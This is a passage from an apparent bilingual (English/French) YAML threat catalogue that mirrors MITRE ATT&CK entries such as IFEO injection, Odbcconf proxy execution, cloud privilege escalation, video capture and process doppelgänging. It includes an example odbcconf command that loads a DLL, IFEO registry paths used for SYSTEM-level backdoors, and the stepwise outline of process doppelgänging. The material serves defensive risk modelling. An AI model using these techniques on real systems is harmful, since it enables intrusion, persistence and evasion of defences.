          \ Lorsqu\u2019un processus est cr\xE9\xE9, un d\xE9bogueur pr\xE9sent dans\
          \ l\u2019IFEO d\u2019une application est ajout\xE9 au nom de l\u2019application,\
          \ ce qui permet de lancer le nouveau processus sous le d\xE9bogueur (par\
          \ exemple, <code>C\_:\\dbg\\ntsd.exe -g notepad.exe</code>). (Citation :\
          \ Microsoft Dev Blog IFEO mars 2010)\n\nLes IFEO peuvent \xEAtre d\xE9finis\
          \ directement via le registre ou dans les Global Flags via l\u2019outil\
          \ GFlags. (Citation : Microsoft GFlags mars 2017) Les IFEO sont repr\xE9\
          sent\xE9s sous forme de valeurs de <code>d\xE9bogueur</code> dans le registre\
          \ sous <code>HKLM\\SOFTWARE{\\Wow6432Node}\\Microsoft\\Windows NT\\CurrentVersion\\\
          Image File Execution Options\\<executable></code> o\xF9 <code>&lt;ex\xE9\
          cutable&gt;</code> est le fichier binaire auquel le d\xE9bogueur est attach\xE9\
          . (Citation : Microsoft Dev Blog IFEO mars 2010)\n\nLes IFEO peuvent \xE9\
          galement permettre le lancement d\u2019un programme de surveillance arbitraire\
          \ lorsqu\u2019un programme sp\xE9cifi\xE9 se termine silencieusement (c\u2019\
          est-\xE0-dire qu\u2019il est pr\xE9matur\xE9ment arr\xEAt\xE9 par lui-m\xEA\
          me ou par un second processus non en mode noyau). (Citation : Microsoft\
          \ Silent Process Exit NOV 2017) (R\xE9f\xE9rence : Oddvar Moe IFEO AVRIL\
          \ 2018) \xC0 l\u2019instar des d\xE9bogueurs, la surveillance des sorties\
          \ silencieuses peut \xEAtre activ\xE9e via GFlags et/ou en modifiant directement\
          \ les valeurs de registre IFEO et de sortie de processus silencieux dans\
          \ <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\\
          SilentProcessExit\\</code>. (Citation : Microsoft Silent Process Exit NOV\
          \ 2017) (R\xE9f\xE9rence : Oddvar Moe IFEO AVRIL 2018)\n\n\xC0 l\u2019instar\
          \ des [Fonctionnalit\xE9s d\u2019accessibilit\xE9](https://attack.mitre.org/techniques/T1546/008),\
          \ sous Windows Vista et versions ult\xE9rieures, ainsi que sur Windows Server\
          \ 2008 et versions ult\xE9rieures, une cl\xE9 de registre peut \xEAtre modifi\xE9\
          e pour configurer \xAB cmd.exe \xBB ou un autre programme qui fournit un\
          \ acc\xE8s par porte d\xE9rob\xE9e, en tant que \xAB d\xE9bogueur \xBB pour\
          \ un programme d\u2019accessibilit\xE9 (par exemple : utilman.exe). Une\
          \ fois le registre modifi\xE9, le fait d\u2019appuyer sur la combinaison\
          \ de touches appropri\xE9e sur l\u2019\xE9cran de connexion lorsque vous\
          \ \xEAtes au clavier ou lorsque vous \xEAtes connect\xE9 avec [Remote Desktop\
          \ Protocol](https://attack.mitre.org/techniques/T1021/001) entra\xEEnera\
          \ l\u2019ex\xE9cution du programme \xAB\_d\xE9bogueur\_\xBB avec les privil\xE8\
          ges SYSTEM. (R\xE9f\xE9rence : Tilbury 2014)\n\n\xC0 l\u2019instar de [Process\
          \ Injection](https://attack.mitre.org/techniques/T1055), ces valeurs peuvent\
          \ \xE9galement \xEAtre utilis\xE9es de mani\xE8re abusive pour obtenir une\
          \ \xE9l\xE9vation de privil\xE8ges en provoquant le chargement et l\u2019\
          ex\xE9cution d\u2019un ex\xE9cutable malveillant dans le contexte de processus\
          \ distincts sur l\u2019ordinateur. (Citation : Injection de processus \xE9\
          lastique juillet 2017) L\u2019installation de m\xE9canismes IFEO peut \xE9\
          galement fournir une persistance via une invocation d\xE9clench\xE9e continue.\n\
          \nLes logiciels malveillants peuvent \xE9galement utiliser IFEO pour [Entraver\
          \ les d\xE9fenses](https://attack.mitre.org/techniques/T1562) en enregistrant\
          \ des d\xE9bogueurs invalides qui redirigent et d\xE9sactivent efficacement\
          \ diverses applications syst\xE8me et de s\xE9curit\xE9. (Citation : FSecure\
          \ Hupigon) (R\xE9f\xE9rence : Symantec Ushedix, juin 2008)\nhttps://attack.mitre.org/techniques/T1546/012"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1218.008
    ref_id: T1218.008
    name: Odbcconf
    description: 'Adversaries may abuse odbcconf.exe to proxy execution of malicious
      payloads. Odbcconf.exe is a Windows utility that allows you to configure Open
      Database Connectivity (ODBC) drivers and data source names.(Citation: Microsoft
      odbcconf.exe) The Odbcconf.exe binary may be digitally signed by Microsoft.


      Adversaries may abuse odbcconf.exe to bypass application control solutions that
      do not account for its potential abuse. Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010),
      odbcconf.exe has a <code>REGSVR</code> flag that can be misused to execute DLLs
      (ex: <code>odbcconf.exe /S /A &lbrace;REGSVR "C:\Users\Public\file.dll"&rbrace;</code>).
      (Citation: LOLBAS Odbcconf)(Citation: TrendMicro Squiblydoo Aug 2017)(Citation:
      TrendMicro Cobalt Group Nov 2017)

      https://attack.mitre.org/techniques/T1218/008'
    translations:
      fr:
        name: Odbcconf
        description: "Les adversaires peuvent abuser de l\u2019ex\xE9cution de charges\
          \ utiles malveillantes odbcconf.exe par proxy de proxy. Odbcconf.exe s\u2019\
          agit d\u2019un utilitaire Windows qui vous permet de configurer les pilotes\
          \ ODBC (Open Database Connectivity) et les noms de sources de donn\xE9es.\
          \ (R\xE9f\xE9rence : Microsoft odbcconf.exe) Le fichier binaire Odbcconf.exe\
          \ peut \xEAtre sign\xE9 num\xE9riquement par Microsoft.\n\nLes adversaires\
          \ peuvent abuser de odbcconf.exe pour contourner les solutions de contr\xF4\
          le des applications qui ne tiennent pas compte de leur abus potentiel. Semblable\
          \ \xE0 [Regsvr32](https://attack.mitre.org/techniques/T1218/010), odbcconf.exe\
          \ dispose d\u2019un indicateur <code>REGSVR</code> qui peut \xEAtre utilis\xE9\
          \ \xE0 mauvais escient pour ex\xE9cuter des DLL (ex : <code>odbcconf.exe\
          \ /S /A &lbrace\_;REGSVR \xAB\_C\_:\\Users\\Public\\file.dll\"&rbrace\_\
          ;</code>). (Citation : LOLBAS Odbcconf)(Citation : TrendMicro Squiblydoo\
          \ ao\xFBt 2017)(Citation : TrendMicro Cobalt Group, novembre 2017)\nhttps://attack.mitre.org/techniques/T1218/008"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1593.002
    ref_id: T1593.002
    name: Search Engines
    description: 'Adversaries may use search engines to collect information about
      victims that can be used during targeting. Search engine services typical crawl
      online sites to index context and may provide users with specialized syntax
      to search for specific keywords or specific types of content (i.e. filetypes).(Citation:
      SecurityTrails Google Hacking)(Citation: ExploitDB GoogleHacking)


      Adversaries may craft various search engine queries depending on what information
      they seek to gather. Threat actors may use search engines to harvest general
      information about victims, as well as use specialized queries to look for spillages/leaks
      of sensitive information such as network details or credentials. Information
      from these sources may reveal opportunities for other forms of reconnaissance
      (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or
      [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)),
      establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585)
      or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or
      initial access (ex: [Valid Accounts](https://attack.mitre.org/techniques/T1078)
      or [Phishing](https://attack.mitre.org/techniques/T1566)).

      https://attack.mitre.org/techniques/T1593/002'
    translations:
      fr:
        name: Moteurs
        description: "Les adversaires peuvent utiliser les moteurs de recherche pour\
          \ collecter des informations sur les victimes qui peuvent \xEAtre utilis\xE9\
          es lors du ciblage. Les services de moteurs de recherche analysent g\xE9\
          n\xE9ralement les sites en ligne pour indexer le contexte et peuvent fournir\
          \ aux utilisateurs une syntaxe sp\xE9cialis\xE9e pour rechercher des mots-cl\xE9\
          s sp\xE9cifiques ou des types de contenu sp\xE9cifiques (c\u2019est-\xE0\
          -dire des types de fichiers). (Citation\_: SecurityTrails Google Hacking)(Citation\
          \ : ExploitDB GoogleHacking)\n\nLes adversaires peuvent \xE9laborer diverses\
          \ requ\xEAtes sur les moteurs de recherche en fonction des informations\
          \ qu\u2019ils cherchent \xE0 recueillir. Les auteurs de menace peuvent utiliser\
          \ les moteurs de recherche pour recueillir des renseignements g\xE9n\xE9\
          raux sur les victimes, ainsi que des requ\xEAtes sp\xE9cialis\xE9es pour\
          \ rechercher des d\xE9versements ou des fuites d\u2019informations sensibles\
          \ telles que des d\xE9tails sur le r\xE9seau ou des informations d\u2019\
          identification. Les informations provenant de ces sources peuvent r\xE9\
          v\xE9ler des possibilit\xE9s pour d\u2019autres formes de reconnaissance\
          \ (ex : [Phishing pour obtenir des informations](https://attack.mitre.org/techniques/T1598)\
          \ ou [Recherche dans des bases de donn\xE9es techniques ouvertes](https://attack.mitre.org/techniques/T1596)),\
          \ la mise en place de ressources op\xE9rationnelles (ex : [\xC9tablissement\
          \ de comptes](https://attack.mitre.org/techniques/T1585) ou [Compromission\
          \ de comptes](https://attack.mitre.org/techniques/T1586)), et/ou l\u2019\
          acc\xE8s initial (ex : [Valide Comptes](https://attack.mitre.org/techniques/T1078)\
          \ ou [Hame\xE7onnage](https://attack.mitre.org/techniques/T1566)).\nhttps://attack.mitre.org/techniques/T1593/002"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1591.002
    ref_id: T1591.002
    name: Business Relationships
    description: "Adversaries may gather information about the victim's business relationships\
      \ that can be used during targeting. Information about an organization\u2019\
      s business relationships may include a variety of details, including second\
      \ or third-party organizations/domains (ex: managed service providers, contractors,\
      \ etc.) that have connected (and potentially elevated) network access. This\
      \ information may also reveal supply chains and shipment paths for the victim\u2019\
      s hardware and software resources.\n\nAdversaries may gather this information\
      \ in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598).\
      \ Information about business relationships may also be exposed to adversaries\
      \ via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001)\
      \ or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation:\
      \ ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities\
      \ for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598)\
      \ or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)),\
      \ establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585)\
      \ or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or\
      \ initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195),\
      \ [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), or [Trusted\
      \ Relationship](https://attack.mitre.org/techniques/T1199)).\nhttps://attack.mitre.org/techniques/T1591/002"
    translations:
      fr:
        name: "Relations d\u2019affaires"
        description: "Les adversaires peuvent recueillir des informations sur les\
          \ relations d\u2019affaires de la victime qui peuvent \xEAtre utilis\xE9\
          es lors du ciblage. Les informations sur les relations d\u2019affaires d\u2019\
          une organisation peuvent inclure une vari\xE9t\xE9 de d\xE9tails, y compris\
          \ des organisations/domaines de deuxi\xE8me partie ou de tiers (par exemple,\
          \ des fournisseurs de services g\xE9r\xE9s, des entrepreneurs, etc.) qui\
          \ ont un acc\xE8s au r\xE9seau connect\xE9 (et potentiellement \xE9lev\xE9\
          ). Ces informations peuvent \xE9galement r\xE9v\xE9ler les cha\xEEnes d\u2019\
          approvisionnement et les voies d\u2019exp\xE9dition des ressources mat\xE9\
          rielles et logicielles de la victime.\n\nLes adversaires peuvent recueillir\
          \ ces informations de diff\xE9rentes mani\xE8res, par exemple par le biais\
          \ de l\u2019hame\xE7onnage par le biais de [Phishing for Information](https://attack.mitre.org/techniques/T1598).\
          \ Les informations sur les relations d\u2019affaires peuvent \xE9galement\
          \ \xEAtre expos\xE9es \xE0 des adversaires par le biais d\u2019informations\
          \ en ligne ou d\u2019autres ensembles de donn\xE9es accessibles (ex : [M\xE9\
          dias sociaux](https://attack.mitre.org/techniques/T1593/001) ou [Sites Web\
          \ appartenant \xE0 des victimes de recherche](https://attack.mitre.org/techniques/T1594)).\
          \ (Citation : Fuite ThreatPost Broadvoice) La collecte de ces informations\
          \ peut r\xE9v\xE9ler des opportunit\xE9s pour d\u2019autres formes de reconnaissance\
          \ (ex : [Phishing pour obtenir des informations](https://attack.mitre.org/techniques/T1598)\
          \ ou [Recherche de sites Web/domaines ouverts](https://attack.mitre.org/techniques/T1593)),\
          \ d\u2019\xE9tablissement de ressources op\xE9rationnelles (ex : [\xC9tablir\
          \ des comptes](https://attack.mitre.org/techniques/T1585) ou [Compromettre\
          \ des comptes](https://attack.mitre.org/techniques/T1586)), et/ou d\u2019\
          acc\xE8s initial (ex : [Cha\xEEne d\u2019approvisionnement Compromis](https://attack.mitre.org/techniques/T1195),\
          \ [Compromission intempestive](https://attack.mitre.org/techniques/T1189)\
          \ ou [Relation de confiance](https://attack.mitre.org/techniques/T1199)).\n\
          https://attack.mitre.org/techniques/T1591/002"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1548.005
    ref_id: T1548.005
    name: Temporary Elevated Cloud Access
    description: "Adversaries may abuse permission configurations that allow them\
      \ to gain temporarily elevated access to cloud resources. Many cloud environments\
      \ allow administrators to grant user or service accounts permission to request\
      \ just-in-time access to roles, impersonate other accounts, pass roles onto\
      \ resources and services, or otherwise gain short-term access to a set of privileges\
      \ that may be distinct from their own. \n\nJust-in-time access is a mechanism\
      \ for granting additional roles to cloud accounts in a granular, temporary manner.\
      \ This allows accounts to operate with only the permissions they need on a daily\
      \ basis, and to request additional permissions as necessary. Sometimes just-in-time\
      \ access requests are configured to require manual approval, while other times\
      \ the desired permissions are automatically granted.(Citation: Azure Just in\
      \ Time Access 2023)\n\nAccount impersonation allows user or service accounts\
      \ to temporarily act with the permissions of another account. For example, in\
      \ GCP users with the `iam.serviceAccountTokenCreator` role can create temporary\
      \ access tokens or sign arbitrary payloads with the permissions of a service\
      \ account, while service accounts with domain-wide delegation permission are\
      \ permitted to impersonate Google Workspace accounts.(Citation: Google Cloud\
      \ Service Account Authentication Roles)(Citation: Hunters Domain Wide Delegation\
      \ Google Workspace 2023)(Citation: Google Cloud Just in Time Access 2023)(Citation:\
      \ Palo Alto Unit 42 Google Workspace Domain Wide Delegation 2023) In Exchange\
      \ Online, the `ApplicationImpersonation` role allows a service account to use\
      \ the permissions associated with specified user accounts.(Citation: Microsoft\
      \ Impersonation and EWS in Exchange) \n\nMany cloud environments also include\
      \ mechanisms for users to pass roles to resources that allow them to perform\
      \ tasks and authenticate to other services. While the user that creates the\
      \ resource does not directly assume the role they pass to it, they may still\
      \ be able to take advantage of the role's access -- for example, by configuring\
      \ the resource to perform certain actions with the permissions it has been granted.\
      \ In AWS, users with the `PassRole` permission can allow a service they create\
      \ to assume a given role, while in GCP, users with the `iam.serviceAccountUser`\
      \ role can attach a service account to a resource.(Citation: AWS PassRole)(Citation:\
      \ Google Cloud Service Account Authentication Roles)\n\nWhile users require\
      \ specific role assignments in order to use any of these features, cloud administrators\
      \ may misconfigure permissions. This could result in escalation paths that allow\
      \ adversaries to gain access to resources beyond what was originally intended.(Citation:\
      \ Rhino Google Cloud Privilege Escalation)(Citation: Rhino Security Labs AWS\
      \ Privilege Escalation)\n\n**Note:** this technique is distinct from [Additional\
      \ Cloud Roles](https://attack.mitre.org/techniques/T1098/003), which involves\
      \ assigning permanent roles to accounts rather than abusing existing permissions\
      \ structures to gain temporarily elevated access to resources. However, adversaries\
      \ that compromise a sufficiently privileged account may grant another account\
      \ they control [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003)\
      \ that would allow them to also abuse these features. This may also allow for\
      \ greater stealth than would be had by directly using the highly privileged\
      \ account, especially when logs do not clarify when role impersonation is taking\
      \ place.(Citation: CrowdStrike StellarParticle January 2022)\nhttps://attack.mitre.org/techniques/T1548/005"
    translations:
      fr:
        name: "Acc\xE8s cloud avec \xE9l\xE9vation de privil\xE8ges temporaire"
        description: "Les adversaires peuvent abuser des configurations d'autorisation\
          \ qui leur permettent d'obtenir un acc\xE8s temporairement \xE9lev\xE9 aux\
          \ ressources de l'informatique en nuage. De nombreux environnements en nuage\
          \ permettent aux administrateurs d'accorder aux comptes d'utilisateurs ou\
          \ de services la permission de demander un acc\xE8s juste \xE0 temps \xE0\
          \ des r\xF4les, d'usurper l'identit\xE9 d'autres comptes, de transmettre\
          \ des r\xF4les \xE0 des ressources et \xE0 des services, ou d'obtenir un\
          \ acc\xE8s \xE0 court terme \xE0 un ensemble de privil\xE8ges qui peuvent\
          \ \xEAtre distincts des leurs.\n\nL'acc\xE8s juste \xE0 temps est un m\xE9\
          canisme qui permet d'accorder des r\xF4les suppl\xE9mentaires aux comptes\
          \ cloud de mani\xE8re granulaire et temporaire. Cela permet aux comptes\
          \ de fonctionner avec les seules autorisations dont ils ont besoin au quotidien,\
          \ et de demander des autorisations suppl\xE9mentaires si n\xE9cessaire.\
          \ Parfois, les demandes d'acc\xE8s juste \xE0 temps sont configur\xE9es\
          \ pour n\xE9cessiter une approbation manuelle, tandis que d'autres fois,\
          \ les autorisations souhait\xE9es sont automatiquement accord\xE9es.(Citation\
          \ : Azure Just in Time Access 2023)\n\nL'usurpation d'identit\xE9 permet\
          \ aux comptes d'utilisateurs ou de services d'agir temporairement avec les\
          \ autorisations d'un autre compte. Par exemple, dans GCP, les utilisateurs\
          \ ayant le r\xF4le `iam.serviceAccountTokenCreator` peuvent cr\xE9er des\
          \ jetons d'acc\xE8s temporaires ou signer des charges utiles arbitraires\
          \ avec les autorisations d'un compte de service, tandis que les comptes\
          \ de service ayant l'autorisation de d\xE9l\xE9gation \xE0 l'\xE9chelle\
          \ du domaine sont autoris\xE9s \xE0 se faire passer pour des comptes Google\
          \ Workspace. (Citation : Google Cloud Service Account Authentication Roles)(Citation\
          \ : Hunters Domain Wide Delegation Google Workspace 2023)(Citation : Google\
          \ Cloud Just in Time Access 2023)(Citation : Palo Alto Unit 42 Google Workspace\
          \ Domain Wide Delegation 2023) Dans Exchange Online, le r\xF4le `ApplicationImpersonation`\
          \ permet \xE0 un compte de service d'utiliser les autorisations associ\xE9\
          es aux comptes d'utilisateurs sp\xE9cifi\xE9s.(Citation : Microsoft Impersonation\
          \ and EWS in Exchange)\n\nDe nombreux environnements en nuage comprennent\
          \ \xE9galement des m\xE9canismes permettant aux utilisateurs de confier\
          \ des r\xF4les \xE0 des ressources qui leur permettent d'effectuer des t\xE2\
          ches et de s'authentifier aupr\xE8s d'autres services. Si l'utilisateur\
          \ qui cr\xE9e la ressource n'assume pas directement le r\xF4le qu'il lui\
          \ attribue, il peut n\xE9anmoins tirer parti de l'acc\xE8s au r\xF4le, par\
          \ exemple en configurant la ressource pour qu'elle effectue certaines actions\
          \ avec les autorisations qui lui ont \xE9t\xE9 accord\xE9es. Dans AWS, les\
          \ utilisateurs disposant de l'autorisation `PassRole` peuvent permettre\
          \ \xE0 un service qu'ils cr\xE9ent d'assumer un r\xF4le donn\xE9, tandis\
          \ que dans GCP, les utilisateurs disposant du r\xF4le `iam.serviceAccountUser`\
          \ peuvent attacher un compte de service \xE0 une ressource.(Citation : AWS\
          \ PassRole)(Citation : R\xF4les d'authentification du compte de service\
          \ Google Cloud)\n\nSi les utilisateurs doivent se voir attribuer des r\xF4\
          les sp\xE9cifiques pour pouvoir utiliser l'une ou l'autre de ces fonctionnalit\xE9\
          s, les administrateurs du cloud peuvent mal configurer les autorisations.\
          \ Cela peut entra\xEEner des voies d'escalade qui permettent \xE0 des adversaires\
          \ d'acc\xE9der \xE0 des ressources au-del\xE0 de ce qui \xE9tait pr\xE9\
          vu \xE0 l'origine.(Citation : Rhino Google Cloud Privilege Escalation)(Citation\
          \ : Rhino Security Labs AWS Privilege Escalation)\n\n**Note:** cette technique\
          \ est diff\xE9rente de [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003),\
          \ qui implique l'attribution de r\xF4les permanents aux comptes plut\xF4\
          t que d'abuser des structures de permissions existantes pour obtenir un\
          \ acc\xE8s temporairement \xE9lev\xE9 aux ressources. Cependant, les adversaires\
          \ qui compromettent un compte suffisamment privil\xE9gi\xE9 peuvent accorder\
          \ \xE0 un autre compte qu'ils contr\xF4lent des [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003)\
          \ qui leur permettraient \xE9galement d'abuser de ces fonctionnalit\xE9\
          s. Cela peut \xE9galement permettre une plus grande discr\xE9tion que si\
          \ l'on utilisait directement le compte hautement privil\xE9gi\xE9, en particulier\
          \ lorsque les journaux ne pr\xE9cisent pas quand l'usurpation de r\xF4le\
          \ a lieu. (Citation : CrowdStrike StellarParticle January 2022)\nhttps://attack.mitre.org/techniques/T1548/005\""
  - urn: urn:intuitem:risk:threat:mitre-attack:t1125
    ref_id: T1125
    name: Video Capture
    description: 'An adversary can leverage a computer''s peripheral devices (e.g.,
      integrated cameras or webcams) or applications (e.g., video call services) to
      capture video recordings for the purpose of gathering information. Images may
      also be captured from devices or applications, potentially in specified intervals,
      in lieu of video files.


      Malware or scripts may be used to interact with the devices through an available
      API provided by the operating system or an application to capture video or images.
      Video or image files may be written to disk and exfiltrated later. This technique
      differs from [Screen Capture](https://attack.mitre.org/techniques/T1113) due
      to use of specific devices or applications for video recording rather than capturing
      the victim''s screen.


      In macOS, there are a few different malware samples that record the user''s
      webcam such as FruitFly and Proton. (Citation: objective-see 2017 review)

      https://attack.mitre.org/techniques/T1125'
    translations:
      fr:
        name: "Capture vid\xE9o"
        description: "Un adversaire peut exploiter les p\xE9riph\xE9riques d\u2019\
          un ordinateur (par exemple, des cam\xE9ras int\xE9gr\xE9es ou des webcams)\
          \ ou des applications (par exemple, des services d\u2019appel vid\xE9o)\
          \ pour capturer des enregistrements vid\xE9o dans le but de recueillir des\
          \ informations. Des images peuvent \xE9galement \xEAtre captur\xE9es \xE0\
          \ partir d\u2019appareils ou d\u2019applications, \xE9ventuellement \xE0\
          \ des intervalles sp\xE9cifi\xE9s, \xE0 la place des fichiers vid\xE9o.\n\
          \nDes logiciels malveillants ou des scripts peuvent \xEAtre utilis\xE9s\
          \ pour interagir avec les appareils par le biais d\u2019une API disponible\
          \ fournie par le syst\xE8me d\u2019exploitation ou d\u2019une application\
          \ pour capturer des vid\xE9os ou des images. Les fichiers vid\xE9o ou image\
          \ peuvent \xEAtre \xE9crits sur le disque et exfiltr\xE9s ult\xE9rieurement.\
          \ Cette technique diff\xE8re de la [Capture d\u2019\xE9cran](https://attack.mitre.org/techniques/T1113)\
          \ en raison de l\u2019utilisation d\u2019appareils ou d\u2019applications\
          \ sp\xE9cifiques pour l\u2019enregistrement vid\xE9o plut\xF4t que pour\
          \ la capture de l\u2019\xE9cran de la victime.\n\nDans macOS, il existe\
          \ diff\xE9rents \xE9chantillons de logiciels malveillants qui enregistrent\
          \ la webcam de l\u2019utilisateur, tels que FruitFly et Proton. (Citation\
          \ : objectif-voir revue 2017)\nhttps://attack.mitre.org/techniques/T1125"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1055.013
    ref_id: T1055.013
    name: "Process Doppelg\xE4nging"
    description: "Adversaries may inject malicious code into process via process doppelg\xE4\
      nging in order to evade process-based defenses as well as possibly elevate privileges.\
      \ Process doppelg\xE4nging is a method of executing arbitrary code in the address\
      \ space of a separate live process. \n\nWindows Transactional NTFS (TxF) was\
      \ introduced in Vista as a method to perform safe file operations. (Citation:\
      \ Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle\
      \ to write to a file at a given time. Until the write handle transaction is\
      \ terminated, all other handles are isolated from the writer and may only read\
      \ the committed version of the file that existed at the time the handle was\
      \ opened. (Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF\
      \ performs an automatic rollback if the system or application fails during a\
      \ write transaction. (Citation: Microsoft Where to use TxF)\n\nAlthough deprecated,\
      \ the TxF application programming interface (API) is still enabled as of Windows\
      \ 10. (Citation: BlackHat Process Doppelg\xE4nging Dec 2017)\n\nAdversaries\
      \ may abuse TxF to a perform a file-less variation of [Process Injection](https://attack.mitre.org/techniques/T1055).\
      \ Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012),\
      \ process doppelg\xE4nging involves replacing the memory of a legitimate process,\
      \ enabling the veiled execution of malicious code that may evade defenses and\
      \ detection. Process doppelg\xE4nging's use of TxF also avoids the use of highly-monitored\
      \ API functions such as <code>NtUnmapViewOfSection</code>, <code>VirtualProtectEx</code>,\
      \ and <code>SetThreadContext</code>. (Citation: BlackHat Process Doppelg\xE4\
      nging Dec 2017)\n\nProcess Doppelg\xE4nging is implemented in 4 steps (Citation:\
      \ BlackHat Process Doppelg\xE4nging Dec 2017):\n\n* Transact \u2013 Create a\
      \ TxF transaction using a legitimate executable then overwrite the file with\
      \ malicious code. These changes will be isolated and only visible within the\
      \ context of the transaction.\n* Load \u2013 Create a shared section of memory\
      \ and load the malicious executable.\n* Rollback \u2013 Undo changes to original\
      \ executable, effectively removing malicious code from the file system.\n* Animate\
      \ \u2013 Create a process from the tainted section of memory and initiate execution.\n\
      \nThis behavior will likely not result in elevated privileges since the injected\
      \ process was spawned from (and thus inherits the security context) of the injecting\
      \ process. However, execution via process doppelg\xE4nging may evade detection\
      \ from security products since the execution is masked under a legitimate process.\n\
      https://attack.mitre.org/techniques/T1055/013"
    translations:
      fr:
        name: "Processus Doppelg\xE4nging"
        description: "Les adversaires peuvent injecter du code malveillant dans le\
          \ processus via le doppelg\xE4nging de processus afin d\u2019\xE9chapper\
          \ aux d\xE9fenses bas\xE9es sur les processus et \xE9ventuellement d\u2019\
          \xE9lever les privil\xE8ges. Le doppelg\xE4nging de processus est une m\xE9\
          thode d\u2019ex\xE9cution de code arbitraire dans l\u2019espace d\u2019\
          adressage d\u2019un processus actif distinct. \n\nWindows Transactional\
          \ NTFS (TxF) a \xE9t\xE9 introduit dans Vista en tant que m\xE9thode pour\
          \ effectuer des op\xE9rations de fichiers s\xE9curis\xE9es. (Citation :\
          \ Microsoft TxF) Pour garantir l\u2019int\xE9grit\xE9 des donn\xE9es, TxF\
          \ n\u2019autorise qu\u2019un seul handle transactionnel \xE0 \xE9crire dans\
          \ un fichier \xE0 un moment donn\xE9. Jusqu\u2019\xE0 ce que la transaction\
          \ de descripteur d\u2019\xE9criture soit termin\xE9e, tous les autres descripteurs\
          \ sont isol\xE9s de l\u2019enregistreur et ne peuvent lire que la version\
          \ valid\xE9e du fichier qui existait au moment de l\u2019ouverture du descripteur.\
          \ (Citation : Concepts de base de Microsoft TxF) Pour \xE9viter la corruption,\
          \ TxF effectue une restauration automatique si le syst\xE8me ou l\u2019\
          application \xE9choue lors d\u2019une transaction d\u2019\xE9criture. (Citation\_\
          : Microsoft O\xF9 utiliser TxF)\n\nBien qu\u2019elle soit obsol\xE8te, l\u2019\
          interface de programmation d\u2019application (API) TxF est toujours activ\xE9\
          e \xE0 partir de Windows 10. (Citation : BlackHat Process Doppelg\xE4nging\
          \ d\xE9cembre 2017)\n\nLes adversaires peuvent abuser de TxF pour effectuer\
          \ une variante sans fichier de [Injection de processus](https://attack.mitre.org/techniques/T1055).\
          \ \xC0 l\u2019instar du [Process Hollowing](https://attack.mitre.org/techniques/T1055/012),\
          \ le doppelg\xE4nging de processus consiste \xE0 remplacer la m\xE9moire\
          \ d\u2019un processus l\xE9gitime, permettant l\u2019ex\xE9cution voil\xE9\
          e d\u2019un code malveillant susceptible d\u2019\xE9chapper aux d\xE9fenses\
          \ et \xE0 la d\xE9tection. L\u2019utilisation de TxF par Process Doppelg\xE4\
          nging \xE9vite \xE9galement l\u2019utilisation de fonctions API hautement\
          \ surveill\xE9es telles que <code>NtUnmapViewOfSection</code>, <code>VirtualProtectEx</code>\
          \ et <code>SetThreadContext</code>. (Citation : BlackHat Process Doppelg\xE4\
          nging d\xE9cembre 2017)\n\nLe processus Doppelg\xE4nging est mis en \u0153\
          uvre en 4 \xE9tapes (Citation\_: BlackHat Process Doppelg\xE4nging Dec 2017)\
          \ :\n\n* Transaction \u2013 Cr\xE9ez une transaction TxF \xE0 l\u2019aide\
          \ d\u2019un ex\xE9cutable l\xE9gitime, puis \xE9crasez le fichier avec un\
          \ code malveillant. Ces modifications seront isol\xE9es et ne seront visibles\
          \ que dans le contexte de la transaction.\n* Charger \u2013 Cr\xE9ez une\
          \ section partag\xE9e de la m\xE9moire et chargez l\u2019ex\xE9cutable malveillant.\n\
          * Rollback \u2013 Annulez les modifications apport\xE9es \xE0 l\u2019ex\xE9\
          cutable d\u2019origine, supprimant ainsi le code malveillant du syst\xE8\
          me de fichiers.\n* Animer \u2013 Cr\xE9ez un processus \xE0 partir de la\
          \ section corrompue de la m\xE9moire et lancez l\u2019ex\xE9cution.\n\n\
          Ce comportement n\u2019entra\xEEnera probablement pas de privil\xE8ges \xE9\
          lev\xE9s, car le processus inject\xE9 a \xE9t\xE9 g\xE9n\xE9r\xE9 \xE0 partir\
          \ du processus d\u2019injection (et h\xE9rite donc du contexte de s\xE9\
          curit\xE9). Cependant, l\u2019ex\xE9cution via le doppelg\xE4nging de processus\
          \ peut \xE9chapper \xE0 la d\xE9tection des produits de s\xE9curit\xE9,\
          \ car l\u2019ex\xE9cution est masqu\xE9e par un processus l\xE9gitime.\n\
          https://attack.mitre.org/techniques/T1055/013"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1016
    ref_id: T1016
    name: System Network Configuration Discovery
    description: 'Adversaries may look for details about the network configuration
      and settings, such as IP and/or MAC addresses, of systems they access or through
      information discovery of remote systems. Several operating system administration
      utilities exist that can be used to gather this information. Examples include
      [Arp](https://attack.mitre.org/software/S0099), [ipconfig](https://attack.mitre.org/software/S0100)/[ifconfig](https://attack.mitre.org/software/S0101),
      [nbtstat](https://attack.mitre.org/software/S0102), and [route](https://attack.mitre.org/software/S0103).


      Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008)
      on network devices to gather information about configurations and settings,
